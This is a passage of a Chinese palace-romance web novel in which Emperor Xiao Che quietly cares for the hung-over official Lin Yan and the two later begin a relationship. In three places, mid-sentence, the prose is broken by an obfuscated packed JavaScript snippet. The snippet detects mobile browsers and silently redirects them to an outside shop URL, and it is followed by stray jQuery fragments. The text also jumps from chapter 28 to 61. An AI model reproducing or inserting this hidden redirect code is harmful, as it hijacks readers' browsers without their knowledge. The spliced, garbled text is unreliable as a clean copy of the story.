然后萧彻也跟中了邪似的,居然就真的伺候着林砚换了中衣,又扯过锦被,把这醉猫给囫囵塞进了被窝里。 做完这一切,萧彻看着被裹得只露出一个脑袋、呼吸逐渐平稳的林砚,觉得自己大概是批奏折批得脑子有点不清醒了。 他摇摇头,准备转身离开。 就在他转身的刹那,身后窸窣一声。 萧彻下意识回头。 只见被他塞进被窝、摆得平平整整的林砚,大概是觉得热了,闭着眼胡乱一蹬腿,被子被踹开大半。 紧接着,他身子往外一偏,一条胳膊也跟着甩了出来,好巧不巧,正好搭在了萧彻还没来得及完全收回去的手臂上。 手指甚至还无意识地蜷缩了一下,抓住了萧彻玄色常服的衣袖。 抓得还挺紧。 萧彻猛地顿住,身体僵硬地停在原地,缓缓低头,看向自己手臂上多出来的那只手。 手指修长,因为醉酒透着淡淡的粉,此刻正牢牢攥着他的袖口,力道不容忽视。 再抬眼,看向床上那位。 林砚对此毫无所觉,砸吧了一下嘴,脑袋往枕头里埋得更深了些,睡得那叫一个昏天暗地,理所当然。 仿佛抓住的不是当今天子的衣袖,而是自家床头的帷帐流苏。 萧彻震惊得无以复加。 他试着轻轻抽了抽手臂。 没抽动。 攥得死紧。 萧彻看着林砚那副毫无防备、甚至因为酒意散去一些而显得有点恬静的睡颜,再感受一下袖口传来的、不容忽视的抓握力。 他沉默了。 这算什么? 御前失仪? 不对,这已经超出了失仪的范畴。 这简直是大逆不道,是薅龙须,是……是…… 但凡换个人,萧彻就要喊人将之拖下去杖责了。 也就是林砚,还能睡得没心没肺。 萧彻看着那只手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16435834|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再看看林砚睡得红扑扑的脸,心头那点荒谬感和被冒犯的感觉奇异地消散了,取而代之的是一种极其复杂、难以言喻的情绪。 他居然就真的维持着这个别扭的姿势,在林砚的床头站了一会儿。 直到确认林砚呼吸彻底绵长,睡熟过去,手上的力道似乎也松懈了些,他才小心翼翼地、一点点地将自己的衣袖从那只手里抽了出来。 动作轻缓得像是怕惊扰了什么。 袖口解脱的瞬间,萧彻看着上面被攥出的细微褶皱,又看了看床上翻个身继续呼呼大睡的林砚,眼神复杂。 他最终什么也没说,转身离开了侧殿,只是脚步似乎比来时慢了些。 殿门轻轻合拢。 床上的林砚在梦里咕哝了一句,大概是骂周大人那群酒鬼。 而遥远的宫门外,几声压抑的痛呼伴随着板子落在皮肉上的沉闷声响,在寂静的夜里显得格外清晰。 尤其是周大人,他错了,真的,他以为金影卫将林砚带走,是林砚得罪了陛下,把林砚带去问罪的,哪里想金影卫是来把林砚给捞走的,紧接着陛下就派人来打他们。 咬着牙挨揍时,周大人灵活的脑子也转了一圈又一圈。 林砚此人,比他们想象的还要得圣心,不然那个金影卫是从哪里冒出来的? 翌日清晨。 林砚艰难醒来。 啊,脑袋被驴踢了。 林砚呻.吟一声,艰难地掀开仿佛有千斤重的眼皮。 映入眼帘的是熟悉的清漪阁侧殿顶棚,以及……身上柔软干净的中衣。 等等。 中衣? 谁给他换的? 林砚猛地坐起身,动作太快,眼前一阵发黑,太阳穴突突直跳。 他低头扯着自己的中衣领口,又环顾四周,昨晚破碎的记忆如同潮水般涌入脑海。 百味楼、周大人的笑脸、一杯接一杯的白酒、金九那张面瘫脸、还有……好像有人给他换衣服?动作还挺温柔? 最后一个念头让林砚打了个寒颤。 不会是金九吧? 那个能把人当行李拎的金影卫,会有那么温柔的手法? 林砚正抱着脑袋努力回忆,李莲顺端着醒酒汤和早膳进来了,脸上挂着标准的笑容:“林大人醒了?陛下吩咐了,让您用了早膳再去衙门。” 林砚接过醒酒汤,试探着问:“李公公,昨晚……是您派人帮我换的衣裳?” 李莲顺笑容不变:“奴婢们倒是想伺候,可林大人您醉得厉害,抓着衣襟不松手,陛下体恤,便让奴婢们先退下了。” 说着,还翘起了兰花指,俏皮地朝林砚一点。 林砚手里的碗差点没拿稳。 陛下让退下的? 然后呢? 谁换的? 总不会是…… 一个荒谬绝伦的念头窜进林砚的脑子,让他瞬间从头皮麻到脚趾盖。 不可能!绝对不可能! 那可是皇帝!是能一句话让他九族一起唱凉凉的终极甲方! 甲方爸爸怎么会亲自给乙方换衣服?这不符合职场规律! 林砚强迫自己冷静下来,一定是金九换的,对,肯定是金九,虽然手法温柔了点,但金影卫嘛,总会点特殊技能,比如用最冷酷的表情干最细致的活。 自我洗脑完毕,林砚稍微安心了点,埋头喝汤。 幸好,他是晕在了萧彻这儿,不然早朝起不来,完都完了。 呵,哈哈。 27.第 27 章 天光大亮,将清漪阁侧殿内精致的陈设照得纤毫毕现。 林砚眼神发直,手下意识地、有一下没一下地捋着趴在他腿上的御猫阿蛮。 没想到阿蛮居然还在清漪阁,他还能有猫撸。 阿蛮被撸得舒服,喉咙里发出低沉的呼噜声。 然而撸猫也救不了林砚此时思绪万千的脑子。 脑海里此时只有两个字,还是加粗的那种:完了。 林砚很想欺骗自己,昨天说金九帮他换的衣服,他也是扯着金九的袖子不让人家走。 可记忆回潮,由不得林砚自我欺骗。 他,昨天晚上就是由皇帝亲自伺候的。 这算不算御前失仪Plus至尊版? 诛九族的罪名里包不包括喝醉了让皇帝伺候换衣服? 一想到这种可能性,林砚就感觉脖子后面凉飕飕的,手下没控制住力道,撸下阿蛮几根毛。 “喵!”阿蛮不满地抗议一声,甩着尾巴跳下他的膝盖,迈着优雅的步子走到地毯中央,揣起手手,用屁股对着他,碧绿的猫眼里写满了“铲屎的,你今日手劲甚差,朕很不满意”。 看着每天不用上班,还有一大堆人伺候的阿蛮,林砚叹了口气。 他怎么就不能是萧彻的一只猫呢? 就在林砚快要被自己的脑补逼疯,考虑是不是要写份请罪折子递上去时,殿外传来了脚步声。 李莲顺那张白净圆润的脸探了进来,笑容可掬:“林大人,陛下宣召。” 林砚心里“咯噔”一声。 哎,这一刻终究还是来了。 林砚深吸一口气,视死如归地站起身,整理了一下并没什么褶皱的衣袍,跟着李莲顺往外走。 脚步沉重得像是要去赴死。 太仪殿。 萧彻正坐在御案后批阅奏章,侧脸在晨光里显得轮廓分明,神情专注。 听到通报,他抬起头,目光落在林砚身上,很平静。 林砚扑通一声跪得干脆利落,额头抵着冰凉的金砖:“微臣叩见陛下。” 【来吧陛下!要杀要剐臣悉听尊便!】 萧彻执笔的手顿了一下,笔尖的朱砂在奏章上留下一个稍浓的红点。 谁要杀他要剐他了? 萧彻放下笔,身体微微后靠,看着下方那个恨不得把自己缩进地缝里的身影,语气听不出什么情绪:“平身。” “谢陛下。”林砚站起身,垂着头,不敢抬头直视萧彻。 “昨日……”萧彻刚开了个头。 林砚“噗通”一声又跪下了,滑跪速度之快,动作之流畅,叫人叹为观止。 “臣罪该万死!”林砚声音发紧,带着深刻的忏悔,“臣昨日酒后失仪,御前无状,污了圣目,请陛下责罚!” 林砚闭着眼,等待着想象中的雷霆之怒。 【陛下会怎么罚我?扣俸禄?降职?流放?还是直接推出午门……呜呜呜我的脑袋,我舍不得离开你!】 萧彻:“……”都什么乱七八糟的? 预想中的斥责并没有到来。 上方传来一声极轻的哼声,仿佛被气笑了。 “朕还没说什么,你倒先给自己定了罪。”萧彻的声音里听不出怒意,反而有点无奈,“起来说话。” 林砚懵懵地抬起头,有点不敢相信自己的耳朵。 【不生气?这都不生气?bix 今天心情这么好?】 萧彻的指尖在御案上轻轻敲了敲,决定跳过这个环节,直接进入正题:“朕叫你來,不是问你的罪。” “啊?”林砚更懵了,不是问罪,那干嘛?总不会是关心他宿醉难不难受吧? “你那点酒量,以后就推了吧。”萧彻的语气平淡得像在说今天天气不错,“不是什么人敬的酒,都非得喝下去,朕给升官,不是让你拿去应付这些的。” 林砚:“!!!” 他猛地抬起头,眼睛瞪得溜圆,脸上写满了难以置信。 【啥意思?陛下这是说以后再有这种带着目的的饭局,可以直接推了?】 【陛下如此看重我的吗?】 【难道这就是传说中的霸总式关怀?】 萧彻被林砚内心的“霸总”震了震,总觉着不太像什么好词儿。 “身为朝廷命官,维系同僚之谊固然重要,然则更需懂得量力而行,保全自身,若因饮酒误了公务,伤了身子,反倒不美。”萧彻说得头头是道。 林砚忙不迭的应和,没错,喝酒误事! 【呜呜呜陛下真好。】 【我是不是昨天醉得太厉害,其实现在还没醒?】 萧彻听着他脑子里那些乱七八糟的念头,觉得再说下去,这人能把自己绕进死胡同。 他干脆换了个话题,也是他今日叫林砚来的另一个目的:“朕看你脸色尚可,宿醉可好些了?祠部司今日若无紧要公务,便在此处帮朕将这些奏章分门别类,按六部、紧急程度理一理。” 林砚顺着萧彻手指的方向看去,只见御案旁另设了一张小一些的案几,上面堆着小山般的奏章,旁边还贴心地备好了笔墨、空白的签条,甚至还有一壶冒着热气的茶和几碟精致的点心。 林砚彻底愣住了。 不仅没罚他,还给他安排了这么轻省的话?还有吃有喝? 难道他爹是找哪路神仙给他开了后门? 只是林砚还是有点慌张,要论起来,翰林学士才是应当在皇帝跟前上班的人,轮不到他啊。 萧彻懒得再理他内心那出大戏,直接拿起一份奏章,开始批阅,摆明了此事已定,无需再议。 林砚见状,只好把满肚子的疑问和惊恐强行咽回去,挪到那张小案几后坐下,开始认命地整理奏章。 【所以陛下叫我来,就是看看我宿醉严不严重,然后给我个轻松活干?】 【怕我顶着宿醉回礼部被那群老油条继续灌?】 【不是……陛下您图啥啊?我就一个小虾米,值得您这么费心?】 越思索林砚越觉得确实是有哪路神仙保佑他了。 一边脑子里天人交战,一边手上不停,将奏章按部门、紧急程度分好,贴上签条。 偶尔偷偷抬眼觑一下御案后的萧彻。 皇帝大佬批阅奏章的样子极其专注,侧脸线条冷硬,偶尔蹙眉,偶尔提笔疾书,周身散发着不容置疑的威严。 怎么看都不像是会关心臣子宿醉难不难受的体贴人设。 林砚越想越觉得诡异,越想越觉得自己昨天肯定在无意识状态下干了什么惊天动地的大事,比如救了陛下的命?或者无意中掌握了陛下的什么把柄? 这个念头过于荒谬,林砚自己都逗乐了,嘴角忍不住弯了一下,随即又赶紧绷住。 萧彻笔下不停,喉间却几不可察地滚动了一下,仿佛咽下了什么笑意。 殿内一时只剩下纸张翻动和笔尖划过的沙沙声,还有林砚内心那跌宕起伏、精彩纷呈的内心戏。 时间悄然流逝。 林砚分着分着,那股子忐忑渐渐被一种奇异的平静取代。 暖阁里很安静,沉水香的气息宁神静心,偶尔能听到窗外极轻微的鸟鸣。 萧彻就在不远处,存在感极强,却并不会让人感到窒息的压力。 反而……有种难以言喻的安全感。 手边的茶水温热适口,点心甜而不腻,极其美味。 阿蛮不知何时溜达了进来,跳上他的案几,揣着手手窝在一摞不太紧要的工部文书上,开始打盹,毛茸茸的尾巴尖儿偶尔扫过他的手背。 林砚看着眼前这“岁月静好”的画面,再想想昨天在百味楼的兵荒马乱,一种强烈的对比感油然而生。 【其实陛下人还挺好的。】 【虽然心思难猜了点,手段吓人了点,但至少讲道理,不抠门,还会护短。】 【昨天要不是金九,我估计得被周大人他们抬着回去。】 【今天还特意让我在这儿躲清静……】 一种微妙的情感,混合着宿醉后的头疼和眼前的宁静,慢慢从心底渗出来。 林砚起初还强打着精神,努力将注意力集中在奏章的分类和摘要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16441326|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 但或许是殿内过于安宁的氛围,或许是沉水香的宁神效果,更或许是宿醉的威力终于彻底上头,他眼皮越来越沉,眼前的字迹开始模糊、重影。 脑袋一点一点,像小鸡啄米。 好几次差点磕到案几上,又被自己惊醒,茫然地眨眨眼,努力坐直,继续和瞌睡虫抗争。 【不能睡……罪加一等……】 【可是……好困……】 【就眯一下……一下下……陛下应该……没在看……】 这最后的念头断断续续,终于是抵不过强大的睡意。 林燕握着笔的手一松,笔滚落到铺开的宣纸上,染开一小团墨。 而他自己,则歪着头,脸颊枕在臂弯里,呼吸变得均匀绵长。 阿蛮被这轻微的动静惊动,抬起脑袋,碧绿的猫眼看了看旁边睡着的人类,嫌弃地甩了甩尾巴,换了个更远的角落继续揣手手打盹。 御案后的萧彻几乎在林砚呼吸变化的那一刻就抬起了眼。 他看着那个趴在案几上,毫无防备睡得正香的年轻臣子,动作顿了顿,将手中的朱笔轻轻搁在了笔山上。 殿内静得能听到林砚清浅的呼吸声。 萧彻站起身,玄色的衣袍拂过地面,没有发出丝毫声响,缓步走到小案几前,垂眸注视着睡着的林砚。 因为姿势的关系,林砚半边脸颊被挤得微微嘟起,长睫在眼下投出一小片阴影,嘴唇无意识地微微张着,褪去了平日里的机灵劲儿,显得格外乖巧,一丝黑发粘在他的唇角,随着呼吸轻轻颤动。 萧彻的目光在那缕发丝上停留了片刻,眼神幽深难辨。 他没想叫醒他。 但接下来的举动,恐怕连萧彻自己事先都未曾预料。 没有扬声呼唤侍立在殿外的内侍,也没有示意李莲顺进来处理。 而是如同被什么无形的东西牵引着,又或是真的中了什么迷魂咒术一般,微微俯身,伸出手臂——一只手小心翼翼地探入林砚的膝弯,另一只手则绕过他的肩背。 动作略显生疏,却轻轻松松地将睡得不省人事的臣子打横抱了起来。 林砚在梦中似乎感觉到了移动,无意识地哼唧了一声,脑袋一歪,自然而然地靠进了萧彻的颈窝,温热的呼吸轻轻拂过皇帝的锁骨处的皮肤。 萧彻的身体僵硬了一瞬,抱着人的手臂却收得更稳了些。 他调整了一下姿势,确保林砚能舒服地靠着,这才转身,朝着太仪殿侧后方供皇帝日常休憩的暖阁走去。 就在他抱着林砚转身的刹那,殿门方向,奉了茶点正打算悄声送入的李德福,恰好将这一幕尽收眼底。 “哐当——” 一声极轻微的、瓷器托盘撞击门框的闷响。 李德福整个人如同被施了定身咒,僵在原地,眼睛瞪得溜圆,嘴巴无意识地张开,足以塞进一整颗鸡蛋,脸上那惯常的笑眯眯彻底碎裂,只剩下全然的、无法置信的惊骇。 他看见了什么?! 陛下竟然亲自抱着林大人? 不是吩咐宫人,而是亲力亲为! 这、这简直是旷古奇闻! 自陛下登基以来,何曾见过他与人这般……这般亲近?更别提是亲手抱一个臣子! 李德福只觉得一股凉气从天灵盖直冲脚底,震得他魂飞魄散,手脚冰凉,死死捂住自己的嘴,生怕发出一丁点声音惊动了那位心思难测的帝王,连呼吸都屏住了,瞳孔地震般剧烈收缩着,眼睁睁看着陛下抱着林大人,步履平稳地消失在通往暖阁的屏风之后。 过了好半晌,李德福才像是被抽走了所有力气,软软地靠在门框上,后背惊出了一层汗。 他哆哆嗦嗦地弯腰捡起差点摔落的托盘,心脏还在疯狂擂鼓。 天爷啊…… 这位林大人在陛下心里,究竟是个什么份量啊?! 李德福原本以为,自己在陛下幼年时便跟在身边伺候,对陛下也算是有那么几分了解的,可今日眼前这一幕,他觉得自己过去几十年对圣意的揣摩,在这一刻被彻底颠覆了。 28.第 28 章 林砚这一觉睡得极沉,再睁眼时,只觉身下铺褥柔软异常,鼻尖萦绕的不再是熟悉的沉水冷香,而是一股极淡龙涎香气。 盯着头顶明黄色绣祥云纹的帐幔,发了足足三息呆,林砚才猛地一个激灵,彻底清醒。 这不是清漪阁! 林砚诈尸般弹坐起来,环顾四周。 此处寝殿比清漪阁侧殿更为宽敞轩朗,陈设却反显简洁,一应器物皆低调而考究,透着一种内敛的权威。 不远处的紫檀木架上,随意搭着一件玄色常服,袍角用金线隐隐绣着暗龙纹。 这是……陛下的寝殿?! 我靠? 林砚的魂儿差点直接从天灵盖飞出去。 他怎么就睡到龙床上来了?! 忆如同断了片的录像带,最后的画面定格在自己强撑着分奏章,然后……然后就没有然后了。 是谁把他挪到这儿的?李莲顺?还是哪个胆大包天的小太监? 不对,哪个奴才敢自作主张把臣子往龙床上塞?诛九族的大罪啊! 难道……是陛下开的金口? 这个念头比前一个更惊悚,林砚只觉得一股寒气从尾椎骨窜上天灵盖,比昨晚那白酒还上头。 连滚带爬地翻身下床,脚底踩在冰凉光滑的金砖地上,林砚才发觉自己只穿着中衣,外袍不知去向。 更要命了。 正手忙脚乱地想找自己的衣服,寝殿的门被轻轻推开,李莲顺端着个铜盆,悄无声息地侧身进来,一见林砚光着脚站在地上,顿时吓得脸都白了,尖细的嗓子压得极低:“哎哟我的林大人!您怎么起来了?仔细地上凉,寒气入骨!” 他忙放下铜盆,快步走过来,像是伺候一件易碎的琉璃器皿,小心翼翼地想扶林砚坐回床边。 林砚哪敢再碰那龙床,僵着身子躲开,声音发颤:“李公公,我、我怎么会在这儿?我的衣服呢?” 李莲顺脸上堆起一个极其复杂、混合着敬畏、讨好和一丝难以言喻的微妙表情,声音放得更软和:“大人您昨日劳累,歇在陛下寝殿,是陛下天恩浩荡,体恤臣子,您的衣裳宫人收着呢。” 他一招手,一个小太监低着头,捧着一套叠得整整齐齐的绯色官袍进来,正是林砚的官袍。 林砚愣住,李莲顺怎么回事?把他当大爷伺候了? 他几乎是同手同脚地,在李莲顺和小太监的服侍下穿好了新官袍,整个过程魂不守舍,满脑子都是“我睡了龙床”“陛下到底想干嘛”。 直到被引着去跟萧彻一块用午膳,林砚还在神游天外。 萧彻已坐在膳桌旁,今日穿的是一身墨青色常服,衬得肤色愈发冷白,正执卷看着一本奏折,听见动静,抬眸扫了他一眼,语气平淡:“来了?坐。” “微臣叩见陛下。”林砚扑通一声跪下,行了个大礼,比以往任何一次都标准。 萧彻放下奏折,似是有些无奈:“平身,此处没有外人,不必如此拘礼。” 林砚:“???” 【陛下您在说什么!什么叫没有外人?】 林砚僵硬地爬起来落座。 宫人开始布菜。 都是时令新菜,肥美的螃蟹堆了满满一碟,橙红的蟹黄几乎要溢出来;板栗烧鸡色泽油亮,板栗饱满,鸡肉鲜嫩;粉蒸芋头软糯香甜,热气腾腾;还有几样清炒时蔬,碧绿可人。 御膳房的手艺自是无可挑剔,香气勾人。 林砚却吃得心惊胆战,每一口都细嚼慢咽,仿佛在品尝毒药,时刻准备着陛下发难,问他一个“龙床睡得可还安稳”。 然而萧彻只是安静地用膳,偶尔动一筷子离得稍远的粉蒸芋头,便立刻有内侍机灵地将其换到近前,他甚至没怎么看林砚,仿佛昨日那个将人抱回寝殿的并非他自己。 这种暴风雨前的宁静,更让林砚坐立难安。 他偷偷抬眼,觑着萧彻的神色。 陛下今日心情似乎不错,眉宇间并无怒色,甚至比平日更显舒缓。 所以……睡龙床这事,陛下是不打算追究? 一顿饭在林砚的魂不守舍和萧彻的沉默中用毕。 宫人撤下残席,奉上清茶。 萧彻漱了口,净了手,拿起方才那本奏折,似乎打算继续处理政务,这才像是忽然想起林砚还杵在这儿,随意道:“时辰不早,祠部司那边积压的公务想必不少,你且回去处置吧。” 这就放他走了? 不敲打?不问罪? 林砚如蒙大赦,赶紧起身行礼:“微臣遵旨,微臣告退。” 他几乎是倒退着出了御书房,直到转身快步走出一段距离,感受着秋日午后的阳光照在身上,才有一种重新活过来的感觉。 陛下果然是个好人!天大的好人! 虽然方式有点吓人,但结果是好的!没掉脑袋!没丢官!还好吃好喝伺候着! 回到祠部司公廨,已是未时。 一进门,果然有几道目光悄悄投来,带着探究和一丝不易察觉的敬畏,林砚尚且不知,昨日他被金影卫从酒席上带走后,陛下就派人去打了周大人他们的班子,这件事已传开了。 林砚没理会奇奇怪怪的目光,径直走向自己的位置。 案头上,公文堆得比昨日更高了些。 深吸一口气,林砚认命地坐下,开始埋头处理。 先是几份关于秋祀后续事宜的汇报,林砚快速浏览,核签。 接着是一份太常寺送来的请示文书,关于某地小祀日期,他对照历书,提笔批复。 一切都似乎与往常无异,同僚们各忙各的,偶尔有书办送文书进来,态度恭敬,并无异样。 直到他处理完手头最急的几份,准备起身去库房调一份旧档时,一个穿着青色主事袍服、面生的官员赔着笑脸迎了上来,手里捧着几份卷宗。 “林大人。”那人态度谦卑得近乎谄媚,“下官是太常寺派来与贵司对接秋祀用度核销的主事,姓赵,这是初步核对的单子,请您过目。” 林砚记得这事,秋祀一应花销需礼部祠部司最终审核确认,方能报户部销账。 以往这种对接,对方不是推三阻四,就是暗藏猫腻,恨不得多扒下几层皮来,来回扯皮是常事。 林砚接过卷宗,已经做好了打一场硬仗的准备,神情淡淡道:“有劳赵主事,本官会尽快核对。” 谁知那赵主事连连摆手,笑容越发恳切:“不敢不敢,林大人您慢慢看,仔细看,若有任何不明之处,或觉得哪项开支不甚妥当,您尽管指出,下官立刻回去让人重新核实!绝不敢有半分含糊!” 林砚:“???” 这态度好得让他有点不适应。 林砚翻开卷宗,仔细看去。 各项条目列得清晰明白,数额也都在合理范围内,甚至比他预想的还要规矩几分。 他狐疑地看了赵主事一眼,试探着指着一项“祭品采买杂费”:“此项似乎比往年略高了些?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16444909|184940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若在以往,对方定会扯出一堆理由,什么今年物料涨价、人力昂贵云云。 谁知赵主事立刻躬身,语气无比诚恳:“大人明鉴!确是下官等核查不细,此项或有冗余,下官这就回去核减,明日便将修订后的单子再呈给您过目!” 林砚愣住了。 这么好说话? 他又随意指了两处无关紧要的地方,赵主事无一不是满口答应,态度好得令人发指,仿佛林砚不是挑刺,而是给予了什么神圣的指点。 最后,赵主事几乎是捧着那几份卷宗,千恩万谢地退了出去,临走前还反复保证,绝不让林大人多操一丝心。 林砚坐在椅子上,看着那赵主事消失的背影,心里那股怪异感越来越浓。 这太阳是打西边出来了? 紧接着,一下午,又有两三拨其他衙门来对接公务的官员,无论是商讨流程还是核对文书,态度无一不是客气得近乎谦卑,效率高得惊人,几乎没怎么让林砚费口舌,事情就顺利推进了。 就连祠部司内部,王俭来回禀公务时,腰都比往日弯得更低些,语气小心翼翼,带着明显的讨好。 林砚一边处理公务,一边心里直犯嘀咕。 怪事年年有,今年特别多。 这些人今天是集体吃错药了?还是我昨天醉得太厉害,其实已经过去了好几年,世界已经变得这么美好了? 直到酉时下值的锣声响起,林砚看着今日效率惊人、已然清空大半的案头,还有一种不真实的感觉。 他收拾好东西,走出礼部大门,迎着傍晚微凉的风,长长舒了一口气。 虽然过程惊悚了点,但结果似乎还不赖。 秋祀的各项工作,就在这种诡异的、前所未有的顺畅中,稳步推进着。 日子就在林砚这种“战战兢兢伴君”与“受宠若惊办公”的冰火两重天中滑过。 秋意渐浓,庭中银杏尽染金黄。 祠部司内,各项秋祀筹备事务在林砚的主持下,竟出乎意料地顺利推进。 以往那些推诿扯皮、暗藏心思的环节,如今都变得畅通无阻。 各衙门对接的官员个个笑容可掬,效率惊人,仿佛人人都忽然变成了爱岗敬业、顾全大局的模范同僚。 林砚从最初的惊疑不定,到后来的渐渐麻木。 这日午后,林砚正核对最后一批祭器清单,王俭弓着腰,脚步轻快地进来,脸上堆着十二分的笑,将一份盖着太常寺和大宗正寺金印的文书恭敬呈上。 “大人,吉日已定!太常寺与宗□□共同卜算,选定了九月廿三,谓其天清气朗,百神咸享,最宜行秋祀大典之礼。此为最终呈报,请大人过目定夺。” 林砚接过文书,目光扫过那个墨迹鲜红的日期——九月廿三。 心中一块大石总算落地。 秋祀,这折腾了他和整个祠部司许久的大事,总算有了确切的日子。 林砚提笔,在那文书上端端正正地写下“准呈”二字,又落下自己的官职姓名,盖上了祠部司郎中的印鉴。 “即刻抄送相关各部衙门,并呈报内阁及御前。”林砚将文书递回给王俭,带着一丝疲惫。 “是,是,下官这就去办!”王俭双手接过,连声应着,倒退着出去了。 林砚靠在椅背上,长长舒了一口气。 窗外,夕阳的余晖将天空染成暖橙色,透过窗棂,在堆满卷宗的案几上投下长长的光影。 秋祀的日子,终于定了。 60-70 第61章 第 61 章 他真的谈恋爱了。…… 林砚魂飞天外地飘回了清漪阁。 推开那扇熟悉的门, 暖融的香气扑面而来,驱散了周身沾染的夜寒,却驱不散他脑子里的轰鸣。 他反手关上门, 眼睛直勾勾地盯着前方虚空中的某一点, 瞳孔没有焦距。 刚才……发生了什么? 一切都在电光火石之间,林砚感觉自己的脑子需要重新装个系统。 林砚抬手, 狠狠掐了一把自己的大腿。 “嘶!”疼得他倒抽一口凉气。 不是梦。 真的不是梦。 萧彻真的说了,说心仪他, 想跟他朝朝暮暮,还抱了他! 他还鬼使神差地答应了要试试! 啊啊啊啊啊! 他怎么就答应了呢?啊? 是被阿古拉刺激得失心疯了? 还是被萧彻的美色,呃,龙威给蛊惑了? 那可是皇帝!皇帝啊! 跟皇帝谈恋爱,他爹娘知道了, 会是什么反应?会不会直接吓晕过去? 林砚猛地抬起头,深呼吸,再深呼吸,试图让自己冷静下来。 没事,没事,萧彻说了, 慢慢来, 不急。 试试嘛,又不是立刻就要那什么, 说不定处着处着就发现不合适了呢?对吧? 林砚试图进行一些乐观的自我安慰,但收效甚微。 心脏依旧在胸腔里疯狂蹦迪,擂鼓般的声音震得他耳膜嗡嗡作响。 假的电饼铛在厨房,真的电饼铛其实是他的脸。 不行,需要做点什么来分散注意力。 目光在殿内逡巡, 最终落在了窗边软榻上那个毛茸茸的身影上。 阿蛮不知道什么时候回来了,正揣着手手,窝在它最爱的软垫上,碧绿的猫眼半眯着,对林砚的突然到来见怪不怪。 “阿蛮!”林砚如同看到了救星,扑到软榻边,一把将那个暖烘烘软乎乎的猫猫团子捞进怀里,把脸埋进那柔软蓬松的皮毛里,又是一顿毫无章法的猛蹭猛吸。 “喵嗷!”阿蛮被这突如其来的“袭击”弄得十分不满,伸出爪子抵住林砚的额头,试图把这个烦人的两脚兽推开。 “阿蛮阿蛮阿蛮!”林砚不管不顾,抱着猫在软榻上滚了半圈,把脸埋在猫肚子里,声音闷闷地,又带着点语无伦次的兴奋和混乱,“我跟你讲,出大事了,天大的事!” “喵?”阿蛮挣扎的动作顿了一下,似乎在疑惑这个两脚兽又在发什么疯。 “我!我谈恋爱了!”林砚抬起头,眼睛亮得惊人,看着阿蛮那双写满嫌弃的猫眼,郑重宣布,“跟你的主人!大渝的皇帝!萧彻!没想到吧?嘿嘿。” 他说完,自己先忍不住傻笑了起来,嘴角咧得老大,露出一口白牙。 “喵。”阿蛮甩了甩尾巴,眼神里的嫌弃更浓了,仿佛在说“就这? “真的!没骗你!”林砚以为阿蛮不信,抱着它坐起来,开始碎碎念,仿佛猫真的能听懂人话似的,“虽然过程有点惊悚,结局有点突然,嗯……反正就是在一起了!以后你就不是只有一个爹的野孩子了!” 他越说越觉得这说法有点怪,但又莫名地贴切,忍不住又嘿嘿笑了两声,用力揉了揉阿蛮的脑袋:“高兴不?你多了个……呃,多了个娘?” 这个词一出口,林砚自己先被雷得外焦里嫩,赶紧“呸”了两声:“不对不对!什么娘不娘的!是多了个人疼你!对!就是这样!” 阿蛮被他揉得毛发凌乱,又听到这些颠三倒四、毫无逻辑的废话,终于彻底不耐烦了。 “喵呜!”它发出一声抗议的叫声,四肢并用,猛地从林砚怀里挣脱出来,灵活地跳到榻角,警惕地看着这个似乎得了失心疯的两脚兽。 “哎?别跑啊!”林砚伸手还想再捞。 阿蛮岂会再给他机会?只见它后腿一蹬,身姿轻盈矫健,“嗖”地一下,直接窜上了房梁,居高临下地俯视着林砚,碧绿的猫眼里充满了王之蔑视,仿佛在说:莫挨老子,智障。 “……”林砚伸出的手僵在半空,看着稳稳蹲在房梁上、甩着尾巴显然不打算再下来的猫主子,悻悻地摸了摸鼻子。 好吧,看来阿蛮并不为他脱单而感到高兴。 果然,猫主子才是最淡定的存在。 撸猫减压计划失败,林砚重新瘫回软榻上,望着房梁上那个优雅舔毛的身影,脑子里又开始不受控制地回放方才宫廊下的一幕幕。 萧彻低沉而认真的嗓音,那双盛满星辰的凤眸,那个紧密到令人窒息的拥抱,还有自己那声颤巍巍的“愿意”…… 脸颊再次不受控制地升温。 他真的谈恋爱了。 跟皇帝。 这种感觉,好奇特。 有点慌,有点怕,但心底深处,似乎又隐隐冒着一丝压抑不住的、微小的雀跃和甜意。 就像在换牙期偷偷藏了一颗糖,明知不该,却还是忍不住想去舔一口,尝那点诱人的甜。 就在林砚对着房梁傻笑兼发呆,反复进行自我拷问与安抚时,清漪阁外传来一阵虽然极力放轻却依旧能听出的急促脚步声。 紧接着,殿门被“吱呀”一声推开。 林砚下意识地抬头望去,只见萧彻带着一身未散的夜寒,大步走了进来。 